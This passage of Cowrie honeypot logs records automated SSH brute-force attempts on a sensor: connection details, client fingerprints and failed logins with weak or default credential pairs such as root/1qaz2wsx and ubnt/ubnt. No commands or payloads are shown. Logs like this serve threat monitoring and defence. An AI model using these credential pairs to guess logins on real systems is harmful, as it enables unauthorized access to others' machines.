{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:36.619875Z","src_ip":"192.109.200.237","session":"b7022ed9c8e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:37.006200Z","src_ip":"192.109.200.237","session":"b7022ed9c8e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:38.092838Z","src_ip":"192.109.200.237","session":"b7022ed9c8e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37644,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c3459f0590d","protocol":"ssh","message":"New connection: 192.109.200.237:37644 (159.203.135.109:22) [session: 2c3459f0590d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:39.895618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:39.901179Z","src_ip":"192.109.200.237","session":"2c3459f0590d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:39.978148Z","src_ip":"192.109.200.237","session":"2c3459f0590d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:40.296447Z","src_ip":"192.109.200.237","session":"2c3459f0590d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:41.381064Z","src_ip":"192.109.200.237","session":"2c3459f0590d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.32789850234985,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:42.279546Z","src_ip":"152.42.224.71","session":"22491cd6fcfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52958,"dst_ip":"159.203.135.109","dst_port":22,"session":"0260d02f034e","protocol":"ssh","message":"New connection: 192.109.200.237:52958 (159.203.135.109:22) [session: 0260d02f034e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:43.017945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:43.026634Z","src_ip":"192.109.200.237","session":"0260d02f034e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:43.109086Z","src_ip":"192.109.200.237","session":"0260d02f034e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:43.355851Z","src_ip":"192.109.200.237","session":"0260d02f034e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:44.440229Z","src_ip":"192.109.200.237","session":"0260d02f034e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52960,"dst_ip":"159.203.135.109","dst_port":22,"session":"62b71e0815f1","protocol":"ssh","message":"New connection: 192.109.200.237:52960 (159.203.135.109:22) [session: 62b71e0815f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:46.129128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:46.134448Z","src_ip":"192.109.200.237","session":"62b71e0815f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:46.217144Z","src_ip":"192.109.200.237","session":"62b71e0815f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:46.463943Z","src_ip":"192.109.200.237","session":"62b71e0815f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":43780,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86fc16dc97f","protocol":"ssh","message":"New connection: 185.236.22.41:43780 (10.17.0.5:22) [session: e86fc16dc97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:46.590433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:46.597677Z","src_ip":"185.236.22.41","session":"e86fc16dc97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:46.713804Z","src_ip":"185.236.22.41","session":"e86fc16dc97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forever","message":"login attempt [root/forever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:47.194264Z","src_ip":"185.236.22.41","session":"e86fc16dc97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:47.549140Z","src_ip":"192.109.200.237","session":"62b71e0815f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:48.331894Z","src_ip":"185.236.22.41","session":"e86fc16dc97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52974,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b5d7c1a6f61","protocol":"ssh","message":"New connection: 192.109.200.237:52974 (159.203.135.109:22) [session: 8b5d7c1a6f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:49.224861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:49.229369Z","src_ip":"192.109.200.237","session":"8b5d7c1a6f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:49.311507Z","src_ip":"192.109.200.237","session":"8b5d7c1a6f61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:49.557190Z","src_ip":"192.109.200.237","session":"8b5d7c1a6f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:50.641731Z","src_ip":"192.109.200.237","session":"8b5d7c1a6f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36800,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a2555fb8c72","protocol":"ssh","message":"New connection: 192.109.200.237:36800 (159.203.135.109:22) [session: 9a2555fb8c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:52.455697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:52.460225Z","src_ip":"192.109.200.237","session":"9a2555fb8c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:52.545477Z","src_ip":"192.109.200.237","session":"9a2555fb8c72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:52.790802Z","src_ip":"192.109.200.237","session":"9a2555fb8c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:53.875610Z","src_ip":"192.109.200.237","session":"9a2555fb8c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.642568111419678,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:54.945420Z","src_ip":"152.42.224.71","session":"67bbd73e16a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36818,"dst_ip":"159.203.135.109","dst_port":22,"session":"26794a2cd1b5","protocol":"ssh","message":"New connection: 192.109.200.237:36818 (159.203.135.109:22) [session: 26794a2cd1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:55.680438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:55.685477Z","src_ip":"192.109.200.237","session":"26794a2cd1b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:55.768808Z","src_ip":"192.109.200.237","session":"26794a2cd1b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:56.165516Z","src_ip":"192.109.200.237","session":"26794a2cd1b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:57.251506Z","src_ip":"192.109.200.237","session":"26794a2cd1b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36830,"dst_ip":"159.203.135.109","dst_port":22,"session":"b69cc5195af6","protocol":"ssh","message":"New connection: 192.109.200.237:36830 (159.203.135.109:22) [session: b69cc5195af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:59.125447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:32:59.130118Z","src_ip":"192.109.200.237","session":"b69cc5195af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa